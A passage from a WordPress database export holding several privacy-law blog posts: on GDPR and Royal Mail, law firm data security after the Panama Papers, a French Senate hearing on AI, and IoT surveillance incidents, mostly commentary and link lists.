of Unknowing, Part 2</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ADDENUM : At Jon Baines request, I have modified the original version of this document adding here is the link to the actual Twitter exchange.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jon Baines :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve not actually come down one way or another. I think Royal Mail must be either a controller or a processor, for the reasons in Tim Turner’s blog. But no one wants to address the implications for societal/pragmatic reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>arguing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“processing’ means any operation or set of operations which is performed on personal data”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My objection to this is that RM has no control whatsoever over the content of the letter that could be personal data or any blank paper or CD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hope this clarification would satisfy Jon Baines who commented : \"Hi Tara - I’m disappointed you misrepresent me in this post. The tweet you quote is unconnected to the position you ascribe to me, and that ascribed position doesn’t reflect my views, as I made clear in the thread https://twitter.com/bainesy1969/status/991400045286215680?s=21\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a Creative Commons Attribution 4.0 International License.</p>\n<!-- /wp:paragraph -->','GDPR Is Not Shooting The Messenger','There has been questioning around the application of the GDPR to Royal Mail.','publish','closed','closed','','gdpr-is-not-shooting-the-messenger','','','2020-11-26 19:49:06','2020-11-26 19:49:06','',0,'https://datarainbow.eu/?p=812',0,'post','',0),(817,1,'2020-05-02 12:49:00','2020-05-02 11:49:00','<!-- wp:paragraph -->\n<p>Mossack Fonseca hack and the Panama Papers scandal should have been a wake up call for all law firms to take clients data security more seriously. Here is Why we Should All Care About Panamapapers even if we have no offshore investment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Law Firm Cybersecurity is at high risk. Dozens of big firms are targeted by hackers seeking for sensitive financial information. Major law firms including Cravah and Will Gotshal have suffered data breach. FBI has issued warnings. Still too many use insecure email exchange for information transfer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Threats of Litigation After Data Breaches at Major Law Firms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>...both Weil Gotshal &amp; Manges and Cravath, Swaine &amp; Moore as well as other firms have suffered data breaches in recent months, put new attention on the potential consequences for law firms with lax security.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daniel Solove, US privacy scholar wrote</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Law firms are facing grave privacy and security risks. Although a number of firms are taking steps to address these risks, the industry as a whole needs to grasp the severity of the risk. For firms, privacy and security risks can be significantly higher than for other organisations. Incidents can be catastrophic. On a scale of 1 to 10, the risks law firms are facing are an 11.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daniel Solove describes the situation and offers solutions to avoid the harms caused to the reputation and clients of a law firm attacked.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Just as an example, here is a List of data breaches and cyber attacks in February 2017. Recently, 1500 companies in over 100 countries hit by malicious Adwind backdoor RAT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The CNIL, French Data Protection Authority has been publishing advices, including easy ways of encryption. I still hear Solicitors, lawyers, Notaries, exchanging sensitive data via simple emails or Dropbox. These are recipes for disaster and lack of consideration for clients. Apart from the reputation disaster, the GDPR new EU data protection regulation has serious fines to consider. Think well before too late : 20M Euro or 4% of world turnover fines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes the treat comes from an insider. You might want to monitor live transfer of data from your network. If your employees bring their own devices, here is a good advice from the UK ICO.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I keep my sources of information updated on Pearltrees curation:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.lexology.com/library/detail.aspx?g=1178d174-7cc3-4d49-8d59-03ed9d3c82c3p\">How many law firms use encryption to preserve the security and the confidentiality of the documents they handle? </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncsc.gov.uk/legalthreat%0A\">The Cyberspace threat to legal sector - 2018 report</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/idigital/firms-data-security-liability/id15689736\">Law Firm data security</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"http://www.pearltrees.com/idigital/firms-data-security-liability/id15689736\">Panamapapers</a> scandal and the law firm Mossack Fonseca.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.law.com/legaltechnews/2018/12/27/5-cybersecurity-habits-law-firms-should-kick-in-2019/\">5 Cybersecurity Habits Law Firms Should Kick in 2019</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Read <a href=\"https://www.linkedin.com/pulse/website-transparency-cookies-privacy-notice-taubman-bassirian-llm/\">Website Transparency and Cookies and Privacy Notices</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Read <a href=\"https://www.linkedin.com/pulse/gdpr-material-territorial-scopes-tara-taubman-bassirian-llm/\">GDPR Material and Territorial Scope</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Read <a href=\"https://www.linkedin.com/pulse/all-you-need-know-gdpr-compliance-tara-taubman-bassirian/\">All You Need to Know About GDPR</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a Creative Commons Attribution 4.0 International License.</p>\n<!-- /wp:paragraph -->','Law Firm Internet Security and Data Protection','Mossack Fonseca hack and the Panama Papers scandal should have been a wake up call for all law firms to take clients data security more seriously. Here is Why we Should All Care About Panamapapers even if we have no offshore investment.','publish','closed','closed','','law-firm-internet-security-and-data-protection','','','2020-11-26 19:30:18','2020-11-26 19:30:18','',0,'https://datarainbow.eu/?p=817',0,'post','',0),(819,1,'2020-05-02 12:49:06','2020-05-02 11:49:06','<!-- wp:paragraph -->\n<p>I\'m using&nbsp;<a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/\" target=\"_blank\">Pearltrees</a>&nbsp;to curate, organise and share web resources. It\'s one of the most convenient and productive social bookmarking tools available. All it needs is an index where to find the list of entries. It has allowed me to keep an eye and collect from various source of information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here is a<a href=\"http://www.pearltrees.com/pearltreesone/whatsapp/id17167797\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;curation</a>&nbsp;of web sources and articles around the issue of&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/data-collection-biz/id5326982\" target=\"_blank\" rel=\"noreferrer noopener\">data collection</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a strong&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/drones-iot-ai/id17167424\" target=\"_blank\" rel=\"noreferrer noopener\">interconnection&nbsp;</a>between&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/artificial-intelligence/id16214031\" target=\"_blank\" rel=\"noreferrer noopener\">Artificial intelligence</a>, Robotics, algorithm,&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596\" target=\"_blank\" rel=\"noreferrer noopener\">Internet of Things</a>,&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/drones/id17167829\" target=\"_blank\" rel=\"noreferrer noopener\">Drones</a>,&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/phone-security/id17167711\" target=\"_blank\" rel=\"noreferrer noopener\">Smartphones</a>, computers and other communication devices. They all have in common there capabilities to store data. Therefore, they need to comply with data protection regulation. Although these companies and their activities are global, data protection regulations are variable. in EU, we are trough a stronger protection with increase of fines with the new&nbsp;<a href=\"http://www.linkedin.com/pulse/all-you-need-know-gdpr-compliance-tara-taubman-bassirian?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">General Data Protection Regulation</a>&nbsp;or GDPR. We need to think on how technology can offer innovation without too much</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At othertimes, the surveillance is the&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/state-surveillance/id17167443\" target=\"_blank\" rel=\"noreferrer noopener\">act of governments</a>, more or less democratic. UK is well known for spread<a href=\"http://www.pearltrees.com/clarinette02/uk-cctv/id6078501\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;CCTV camera surveillance</a>.&nbsp;<a href=\"http://www.pearltrees.com/t/body-scanner/id1613725\" target=\"_blank\" rel=\"noreferrer noopener\">US TSA body scanners</a>&nbsp;have made made privacy advocate unease with the new intrusive measures. [<a href=\"https://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\" target=\"_blank\" rel=\"noreferrer noopener\">Would you like a webcam in your bedrooms and bathrooms broadcasting&nbsp;live</a>]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are only few of the subjects I have been following. Here around&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/ai-health/id17112280\" target=\"_blank\" rel=\"noreferrer noopener\">Drone, AI, Robotics and Law</a>.&nbsp;<a href=\"http://www.pearltrees.com/idigital/gdpr-new-text/id15747243#item175275842\" target=\"_blank\" rel=\"noreferrer noopener\">Idigital</a>&nbsp;is a curation around anything digital, IP or IT with connected legal and ethical challenges. Here is&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/dangerous-possession-smartph/id2250166\" target=\"_blank\" rel=\"noreferrer noopener\">my initial curation</a>&nbsp;on anything IP/IT, Social media, Democracy, and online learning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can double-click on each picture- originally they were pearl shaped- to expand branches and access the web links or Pdf documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I keep them updated. they can be shared via email or social media. If you had any subject you would like to monitor, please contact me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Keeping an eye','Keeping an eye on sources and articles around the issue of data collection.','publish','closed','closed','','keeping-an-eye','','','2020-11-26 19:41:25','2020-11-26 19:41:25','',0,'https://datarainbow.eu/?p=819',0,'post','',0),(821,1,'2017-02-13 12:49:42','2017-02-13 12:49:42','<!-- wp:paragraph -->\n<p>Thursday, 19th January 2017, the French ‘Office parlementaire d\'évaluation des choix scientifiques et technologiques (OPECST)’ hold a public hearing on Artificial Intelligence in the Senate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Five ‘table ronde’ or round table were organised mostly with academics on the different aspects of the societal moves due to Artificial Intelligence (AI or IA in French) :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The technologies related to the AI ;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Strategic dimensions in AI research ;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Political, societal and economical questions raised by the development of AI ;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ethical issues raised by AI ;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Legal challenges due to the application of AI.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It was pointed that some milestone progress on deep learning has been achieved. Machines have surpassed human champions in most intellectually challenging games, including Chess, Scrabble, Othello, even Jeopardy. On March 2016, the Google AlphaGo DeepMind’s Artificial Intelligence program beat Lee Sedol, the strongest Go player in the world. Go—a 2,500-year-old game is far more complex than Chess. An exceptional powerful computer had to process more than 30 million moves. In 2011, IBM Watson won against two of Jeopardy\'s greatest champions creating a big buzz in the tech community. It was early 1996 when Deep Blue won its first game against a world chess champion, when it defeated Garry Kasparov. Gerard Sabah, Research Directeur at CNRS points that IBM Watson used 3000 processors, far more than any publicly available computer, disposing over 3 million pages of encyclopaedia. Benoit Le Blanc, Lecturer in Computer Science at the Polytechnic Institute of Bordeaux (IPB) , Deputy Director of the Ecole Nationale Supérieure de Cognitique in Bordeaux (ENSC), Researcher in the Cognition and Human Engineering (CIH) team of the Laboratory of Materials Integration (IMS), Ecole Nationale Supérieure de Cognitique de Bordeaux (ENSC), insists on the importance of interdisciplinary and human-machine collaboration. He reminded that these results were only possible thanks to the feed of experienced human expert players.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Machines can process large amount of data much faster than any human. They still can’t take initiative. They can’t make sense of what they do. They would not be able to explain why they did it. Furthermore, as Francois TADDEI mentioned, machines can perform in one area, can win a specific game, remaining unable to play any other game Machines lack the capacity to question themselves, still a human exclusivity. For Jean-Daniel Kant, Professor at University Pierre et Marie Curie, the future of machine learning is in the multidisciplinary study to understand and recreate human behaviour. Collective Artificial Intelligence system can achieve multi-agents, autonomous machines. The objectif being to create intelligent machines to replace human.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>David Sadek, Directeur of research at Institut des Mines, Institut des Telecoms, points that machines are not yet capable of emotional intelligence. They lack reasoning, unable of producing language or any introspection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jean-Gabriel Ganascia, Professor at Paris University of Science Pierre et Marie Curie, LIPSIS, President of the Ethics Committee, mentions the technical progress made in Facial recognition. Google\'s Facenet accuracy is said to be of 99,63 %, higher than any human performance. The result is achieved thanks to the study of 200 million images. Another area of progress concerns Conversational agents such as Amazon\'s Echo or Apple\'s Siri.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Gerard Sabah explains how Google Deep Dream can recognise a cat within millions of images, however still would not know how to explain what a cat is. He sees the future of the AI in hybridation of AI and human.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Artificial Intelligence raises several ethical challenges. In case of imminence of a collision, who should the autonomous car, protect at first? The car, the driver, a pedestrian, or…? Human and machine’s logical thinking do not have same considerations. On the question of appropriate human decision making, David Sadek mentioned the a Battleship game used by US marines for training. The software always won the battle as it would its own ships drain if touched to maximise the progress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laurent Alexandre, Founder of Doctrissimo website and specialist of Transhumanisme, reminded there was no equivalent of Facebook or Google in Europe raising the issue of digital sovereignty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Several speakers mentioned the challenges of sovereignty, in Political, Financial, Judicial and even personal identities in a context where social media can know more on individuals ID than the government. What is France\'s position with regard to the major US companies who have considerably invested in AI- the GAFA, Google, Apple, Facebook and Amazon - financially and in human resources. on the other side, there is the BATX, Baidu, Alibaba, Tencent. Xiaomi. How could France retain its scientific forces and maybe offer more long term research budgets?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In France, academic research remains too isolated from the industry as mentioned by Yves Demazeau, Directeur de recherche au CNRS a Grenoble, Directeur de l’Association Française pour la recherche en Intelligence Artificielle (AFIA).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Gilles Dowek, Research directeur at l’INRIA and adjunct professor at l’ENS Paris-Saclay, suggested we spoke of Artificial intelligences, in plural as they are a variety of AI each with different ethical challenges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Will machine ever be able to replace human? The impact of AI in the workplace remains uncertain. Would the least skilled jobs disappear or the intermediary level ones as consider Jean-Daniel KANT (professor a l\'university des Sciences, Pierre et Marie Curie) ? How many jobs will be created by the AI ? There is no clear answer. For Marie-Claire Carrere-Gee, Présidente du Conseil d’orientation pour l’emploi, only 10% of jobs would be threatened by the AI if the market adapts itself fast enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Should machine have a legal personality? Alain Bensoussan is an attorney specialised in advanced technologies defining himself as “the advocate for the rights of robots and their sovereignty”. According to him, the right must adapt to the growing role that Artificial Intelligence plays in our lives. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Human freedom is framed by the legal entity and the freedom of other holders of rights and obligations is framed by a legal person. In the same way, because robots are automatons, intelligent maR chines capable of making decisions autonomously, I think that it is necessary to create the notion of a robot person. With everything that it implies: the robot’s identification so that we know who we addressing, responsibility, a governance equivalent to that of legal persons, a capital, an insurance and full traceability, like constant monitoring of their actions to use as proof of their eventual responsibility”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alain Bensoussan is the author of a charter on the rights of robots. See Report for EU Parliament by Mady Delvaux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, another major challenge of AI is privacy compliance. Isabelle Falque-Perrotin, Data Protection Authority at the CNIL, reminded that AI had been identified by the privacy community during the International Conference of Data Protection and Privacy Commissioners in Marakech. She pointed the four factors making AI and data protection appear antinomic : 1- AI has a massive need of data, where data protection suppose data minimisation. 2- The principle of limitation of data storage, where AI needs to store data to memorise. 3- Data security, how to secure data that is invisible? 4- data subject rights suppose an informed consent, while the AI is a machine in constant transformation. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still many challenges to overcome for a harmonious development of artificial intelligence in accordance with human rights.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It was announced that the CNIL is launching a debate with all parties involved in AI. Following the Law for a Digital Republic, the CNIL has been tasked by Axelle Lemaire, French Deputy Minister for Innovation and Digital Affairs, to launch a wide reflection on the place of algorithms, organising a round of debate around this topic, which should be completed in September with a report on the subject.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ‘Conseil national du numérique (CNNum)’ will have to come up with a tool to collect public’s chalenges with algorithms, while INRIA will coordinate the launch of a platform called TransAlgo, for the development of the transparency and accountability of algorithmic systems. You can watch the video of the launch of Agoranov, the new French Artificial Intelligence strategy here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have left out the questions of bioethics. What AI and robotics can bring to medical sciences? How will they disrupt genetics or radiology or skin cancer research for instance? Will robots replace doctors and should they become decision maker? I will post on this specific subject treated at a recent European Forum on Bioethics in Strasbourg.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Update : Google’s AlphaGo AI beats world’s best human Go player. This is a major step as Go is an even more complex game than chess responding to a more intuitive logic than the mathematical logic of the chess.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>AlphaGo retires from competitive Go after defeating world number one 3-0.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further read on Pearltrees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a Creative Commons Attribution 4.0 International License.</p>\n<!-- /wp:paragraph -->','France Initiatives to Tackle the Challenges of Artificial Intelligence','','publish','closed','closed','','france-initiatives-to-tackle-the-challenges-of-artificial-intelligence','','','2020-11-26 20:13:35','2020-11-26 20:13:35','',0,'https://datarainbow.eu/?p=821',0,'post','',0),(829,1,'2017-02-23 13:08:51','2017-02-23 13:08:51','<!-- wp:paragraph -->\n<p>\"<em>Internet of Things (IoT) inaugurates new possibilities for the manufacturing industry, enabling the machines to become smarter by interacting with each other via internet connection. This may include devices that pose due to their speed, weight and other characteristics high security risk, notably connected cars. Other devices such as those comprising a smart home may pose lower safety and security risk yet equally high or higher IoT privacy risk, transmitting crucial information about their owners’ private lives.</em>\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dolls are listening, Amazon Echo, Apple Siri, the smart fridge, the smart toaster, the home video camera surveillance broadcasting live, the pace maker data accessed by insurance company and .....what worth freedom? Let\'s turn off the smart TV for a lovely dumb world?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I previously reported the&nbsp;<a href=\"http://www.linkedin.com/pulse/challenges-artificial-intelligence-france-tara-taubman-bassirian-llm\" target=\"_blank\" rel=\"noreferrer noopener\">French Senate hearing on Artificial Intelligence and the questioning of experts</a>. I am leaving here a series of incidents involving Internet connected technologies. What are the privacy and ethics implications?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our&nbsp;<a href=\"http://clarinettesblog.wordpress.com/2010/09/02/247/\" target=\"_blank\" rel=\"noreferrer noopener\">life is under digit</a>&nbsp;and it&nbsp;<a href=\"http://clarinettesblog.wordpress.com/2010/11/16/life-under-digit-continous/\" target=\"_blank\" rel=\"noreferrer noopener\">continues</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You remember the&nbsp;<a href=\"http://www.linkedin.com/%E2%80%A6/apple-fbi-battle-security-v-priv%E2%80%A6\" target=\"_blank\" rel=\"noreferrer noopener\">Apple fight resisting FBI\'s access to an iPhone data</a>? Apple-FBI battle of Privacy v Security.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This time, it\'s&nbsp;<a href=\"http://Amazon resists Echo murder evidence call\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon resists warrants for Echo data in Arkansas murder case</a>.&nbsp;<a href=\"http://news.vice.com/story/amazon-says-alexa-has-first-amendment-right-to-resist-giving-up-data-in-murder-case\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon says the AI assistant has First Amendment right to resist giving up data in murder case</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>UPDATE :</strong>&nbsp;<a href=\"http://gizmodo.com/amazon-agrees-to-hand-over-data-in-echo-murder-case-1793039360\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon Agrees to Hand Over Data in Echo Murder Case.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.davidwolfe.com/google-recording-you/?c=jjh&amp;vp=%3Fc%3Dtesla\" target=\"_blank\" rel=\"noreferrer noopener\">Google Is Recording Everything You Say. Here’s How To Hear &amp; Delete The Recordings</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/pearltreesone/medical-data-used-evidenchttp://www.pearltrees.com/pearltreesone/medical-data-used-evidence/id17167959e/id17167959\" target=\"_blank\" rel=\"noreferrer noopener\">Insurance company wants to access customer\'s medical data</a>&nbsp;:&nbsp;<a href=\"http://arstechnica.com/science/2017/02/ohio-mans-pacemaker-data-betrays-him-in-arson-insurance-fraud-case/?comments=1&amp;post=32787449\" target=\"_blank\" rel=\"noreferrer noopener\">Ohio man’s pacemaker data may betray him in arson, insurance fraud case</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Here comes the smart pill that allows patient’s tracking and surveillance ! ‘<a href=\"http://www.24heures.ch/sante-environnement/sante/Le-medicament-qui-vous-surveille/story/22010734\" target=\"_blank\" rel=\"noreferrer noopener\">Le médicament qui vous surveille.</a>‘<a href=\"http://www.20min.ch/ro/multimedia/stories/story/Le-medicament-qui-envoie-un-SMS-au-medecin-28458840\" target=\"_blank\" rel=\"noreferrer noopener\">Le médicament qui envoie un SMS au médecin</a>.&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/smart-pills-medicine/id17168147\" target=\"_blank\" rel=\"noreferrer noopener\">Intelligent Pills: A new ‘dawn’ in healthcare?</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://cdn.ampproject.org/c/s/thenextweb.com/facebook/2017/02/17/facebook-chrome-track-data-selfie/?amp=1\" target=\"_blank\" rel=\"noreferrer noopener\">This creepy tool reveals how Facebook’s AI tracks and studies your activity</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/pearltreesone/smart-tvs/id17167819#item196932668\" target=\"_blank\" rel=\"noreferrer noopener\">Are you watching your TV or is your TV watching you?</a>&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/smart-tvs/id17167819#item196934643\" target=\"_blank\" rel=\"noreferrer noopener\">Samsung&nbsp;is warning customers&nbsp;about discussing personal information in front of their smart television set.</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://oneworldidentity.com/2017/02/07/vizio-will-pay-2-2m-fine-snooping-private-smart-tv-viewing-habits/\" target=\"_blank\" rel=\"noreferrer noopener\">Vizio will pay $2.2M fine for snooping on private smart TV viewing habits</a>\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933533\" target=\"_blank\" rel=\"noreferrer noopener\">It\'s not just your TV that can track your habits without&nbsp;consent</a>.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933535\" target=\"_blank\" rel=\"noreferrer noopener\">Researchers discover over 170 million exposed IoT devices in major US&nbsp;cities</a>.&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item196579660\" target=\"_blank\" rel=\"noreferrer noopener\">Plus d\'objets connectés que d\'humains sur Terre |&nbsp;Comarketing-News</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here is a&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933536\" target=\"_blank\" rel=\"noreferrer noopener\">Wearable AI that can detect the tone of a&nbsp;conversation</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.bbc.co.uk/news/world-europe-39002142?ocid=socialflow_twitter\" target=\"_blank\" rel=\"noreferrer noopener\">German parents told to destroy Cayla dolls over hacking fears</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\" target=\"_blank\" rel=\"noreferrer noopener\">Would you like a webcam in your bedrooms and bathrooms broadcasting&nbsp;live</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone#item196921624\" target=\"_blank\" rel=\"noreferrer noopener\">Big Brother Watch » The folly of CCTV in&nbsp;schools</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/clarinette02/smartphone-revealing-every/id2564764\" target=\"_blank\" rel=\"noreferrer noopener\">Smartphone revealing every&nbsp;move</a>.&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/dangerous-possession-smartph/id2250166\" target=\"_blank\" rel=\"noreferrer noopener\">Your smartphone could be your most dangerous possession</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/whatsapp/id17167797\" target=\"_blank\" rel=\"noreferrer noopener\">How to Change Your WhatsApp Settings Before Facebook Data Sharing Begins</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/clarinette02/tracking-inside-fridge-rfid/id4656121\" target=\"_blank\" rel=\"noreferrer noopener\">Is your refrigerator spying on&nbsp;you?</a>&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/tracking-inside-fridge-rfid/id4656121#item116118666\" target=\"_blank\" rel=\"noreferrer noopener\">CIA: We\'ll spy on you through your&nbsp;refrigerator</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.theguardian.com/environment/2012/jul/01/household-energy-trackers-threat-privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Energy smart meters are a threat to privacy, says watchdog</a>.&nbsp;<a href=\"http://www.theguardian.com/technology/2016/dec/29/smart-electricity-meters-dangerously-insecure-hackers\" target=\"_blank\" rel=\"noreferrer noopener\">Smart electricity meters can be dangerously insecure, warns expert</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item196232986\" target=\"_blank\" rel=\"noreferrer noopener\">Wearable AI that can detect the tone of a&nbsp;conversation</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\" target=\"_blank\" rel=\"noreferrer noopener\">Would you like a webcam in your bedrooms and bathrooms broadcasting&nbsp;live</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/clarinette02/data-stored-copymachines-hd/id5211279\" target=\"_blank\" rel=\"noreferrer noopener\">Data stored by copy machines and printers</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item185017405\" target=\"_blank\" rel=\"noreferrer noopener\">Remember that data-mining smart vibrator? The company\'s getting&nbsp;sued.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 